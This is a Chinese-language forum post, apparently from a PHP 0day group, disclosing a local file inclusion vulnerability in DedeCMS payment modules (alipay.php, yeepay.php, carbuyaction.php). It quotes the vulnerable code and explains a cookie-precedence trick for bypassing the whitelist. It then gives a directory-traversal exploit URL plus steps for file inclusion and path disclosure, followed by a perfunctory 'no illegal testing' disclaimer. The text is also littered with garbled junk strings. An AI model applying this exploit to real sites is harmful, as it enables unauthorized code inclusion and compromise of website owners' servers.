晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
' N( W3 a# K4 @
) Y7 S; m. a1 R0 O% Z, R出现漏洞的两个文件为:/ E' }3 V/ q; b6 |5 _7 y' q
Include/payment/alipay.php
7 P$ N! T. d! h, k& gInclude/payment/yeepay.php
2 U$ n% z" @' b; Z/ t$ n漏洞均出现在respond方法里,估计这两个文件是临时工写的。
/ F4 r5 q; A1 c! ?; F0 {) N* x% b3 E& B
Include/payment/alipay.php5 Q/ s; t( b6 w) f
- ?3 @& m/ v3 @9 n+ p, }......0 J/ j0 X' G9 e# H: |& U; C
function respond()2 \$ P+ U1 K+ c3 W$ H' c
{
0 x1 i! }2 n3 g1 E0 A' {/ r if (!empty($_POST))- S7 }& n1 c" w- z1 e) ~7 N, W
{
& e: }. o9 N4 v; v7 q/ _$ m foreach($_POST as $key => $data)
: B/ W- K v+ f9 E" c* A1 m+ E9 | {+ D8 g+ ^2 c# k$ y
$_GET[$key] = $data;
0 [, I" e+ @, S }: X0 {) N- e' ~
}/ b( u4 K/ g. }. Q% g" V
/* 引入配置文件 */! E& D; M! k1 E1 ^) A$ d: {% t
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
1 Q' O* r7 f: k9 o. @......
7 A8 l2 u8 ?' l2 R% O' Q2 O, Q ) E* f. n0 ?8 _6 ]* I Y
5 s! l6 o& V& h1 s# G* D; e大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。2 d$ T3 t# D* A# e% p7 _5 ]
( ?, R0 R, A( `9 }
Include/payment/yeepay.php
* B$ }8 P! P: E$ f1 b. b3 D9 H; {' N- g. D
% A1 [+ e0 n7 J$ r
$ q; ], \; E! G% o' e......
. k- v+ D1 e5 i# v' S* ` function respond()
! B* J- o- g# {* t {
& l" y I8 X# {% }) R $ K6 s Z" o8 M- a) R2 y
/* 引入配置文件 */
( k8 V) a. M, h e: i( v' f require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
/ N6 n& ]1 G; h2 n% l4 ?
/ {( g& v, n8 ` $p1_MerId = trim($payment['yp_account']);5 n* F @3 f' p
$merchantKey = trim($payment['yp_key']);# x& V! |+ O+ O8 d! Q3 H
...... - }4 \4 T% x7 c w* `& n6 y% N
; Y& y* G( L+ Y5 }
7 T8 E% w- f" X" |1 } ! Y$ R1 W. W, v) P s$ I5 r
7 u( V: x/ E m% x2 P5 n
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。) a, S, k' q+ K+ D& L8 m1 p
" W4 |, D F! t5 \
这两个方法在plus/carbuyaction.php文件调用。
4 Q. E) H+ w- d/ r* c; @3 o% _4 }) T' j+ w! Z6 N4 ?
plus/carbuyaction.php
6 r5 k! `$ @. U- K+ ? J# F/ r9 J. @9 k' V# ~
....... k8 |* {( V& c' c: _2 x& l& j" a
} else if ($dopost == 'return') {
q; b* d0 I$ Q0 O, n& Z $write_list = array('alipay', 'bank', 'cod', 'yeepay');' q# [# u" j- U( d2 b7 @2 ~7 A; M
if (in_array($code, $write_list))# y$ ^- H( r' V' l0 O
{
; v2 N8 ?$ ~8 k1 G, B require_once DEDEINC.'/payment/'.$code.'.php';
7 D! E$ m* G" n% U $pay = new $code;
0 O7 `) D' u8 {5 o" h $msg=$pay->respond();
0 C0 ~$ w8 o5 D- Y" ^ ShowMsg($msg, "javascript:;", 0, 3000);, S- R" C0 H2 l2 w: X
exit(); 6 _4 ~5 S9 H6 r6 {% }4 V4 d
} else {
% q2 Y. D4 g3 T! I9 c2 L exit('Error:File Type Can\'t Recognized!');, H$ _5 l; t; P2 J" _8 ^( A
}4 A8 Z- ?# ?9 u" l
}& F5 ^& Q- x6 {' r1 { T/ V8 T% T9 I
......
h8 ^8 Z# ~/ u, M ; w6 l0 @" o8 O, |
5 U4 \' ~: J+ y( r) e- b
5 d# V% X3 {7 v: P6 T7 e
" g" o, w H4 P; k) J6 T 0 v ?% _6 T. m+ z1 x9 |( O0 D
& k) I( p/ r& F) n, V. T. m
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
) l/ v7 b* i$ ~( s所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。 z( b( T( {: P9 ^ q
7 J4 [3 [& |2 k! `( |4 W
回到include/common.inc.php来看看他的机制。. W1 V. {. F1 k! c- Q0 b( h8 g) P: g! k& ~
4 ~4 ~* i. V7 i! U/ B" [
. h8 {9 l7 x' j2 L a7 g5 {
5 [2 l4 {0 |! o* J: e. ]+ z8 K
......
; `, G1 M! \- [! i. I5 ]9 S- J/ vforeach(Array('_GET','_POST','_COOKIE') as $_request)9 d" H5 ]* c0 I8 I- }, f& m* C
{; u" `- _, C) d k1 S/ }
foreach($$_request as $_k => $_v)
2 |8 t2 L P) e$ z; E {
% x' U, U# [) ]. R! `/ J if($_k == 'nvarname') ${$_k} = $_v;! L$ d) c( O' _% u# F' b2 A. M
else ${$_k} = _RunMagicQuotes($_v);
% e# n" p6 R4 S) M- t }& V. \2 \ ^$ h, k) J: W8 J
}7 x# ?6 |* J! e7 U" U
......
2 a' Q' u5 b+ N8 s- u大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:6 ^) ] T @* ~$ n+ m
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |